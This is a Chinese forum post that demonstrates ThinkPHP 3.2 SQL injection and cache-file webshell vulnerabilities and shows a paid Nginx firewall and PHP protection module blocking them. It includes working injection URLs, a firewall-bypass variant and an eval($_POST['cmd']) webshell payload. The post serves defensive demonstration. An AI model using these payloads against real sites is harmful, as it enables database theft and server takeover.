本帖最后由 cuokon 于 2020-5-29 16:22 编辑
Thinkphp3.2 order by 注入
漏洞影响版本: ThinkPHP 3.2.3以下 ThinkPHP 5.1.22以下
漏洞代码:
简单讲解一下意思,获取order参数然后放到order函数去执行 这里的order函数参数可控,会导致注入 传入一个单引号’
可以单引号已经被带入SQL语句执行,利用报错注入获得用户名
Payload:
装上付费Nginx防火墙
在次请求
尝试绕过 Payload:
Thinkphp3.2 find 注入 漏洞影响版本: ThinkPHP 3.2.3以下
漏洞代码:
Payload: http://mythink.com/index.php/home/index/find?id[table]=user%20where%201=2%20union%20select%201,user(),database()%20--%20a
注入后成功获取到了数据,装上付费的Nginx防火墙进行防御 再次提交payload 进行绕过 http://mythink.com/index.php/Home/index/Find?id[table]=user%0bwhere%091=\Nunion%09select!1,/*!/*!user()*/,%0adatabase/*!700000awefw*/()%20--%20a
Thinkphp 3.2.3缓存漏洞 漏洞影响: ThinkPHP 3.2.3
漏洞代码:
Payload: http://mythink.com/index.php/Home/index/cacheSet?value=%0d%0aeval($_POST[%27cmd%27]);%0d%0a//
访问后,已经生成一个Webshell了,名字是name的md5加密值,所以说只要知道了缓存的名字,就可以getshell,这里还是有安全隐患的
开启付费版的Nginx防火墙 发现直接拦截,不过因为php非常的灵活,还是可能纯在绕过的,这时候我们的宝塔PHP安全防护就登场了,为此站点制定了该cms专属的规则
关掉Nginx防火墙,开启PHP安全防护,然后发送Payload 缓存成功了,文件也生成了,视乎好像并没有什么卵用,不过好戏在后头,访问生成的shell 看到的是报错内容其实是被拦截了,此目录被设置了不允许执行任何php脚本文件,所以这个漏洞也就相当于被防御了
总结: Nginx防火墙和堡塔PHP安全防护这2个工具加起来可以抵御大部分的网络工具,让网站更加安全。如果有遇到一些bug欢迎反馈!!!
|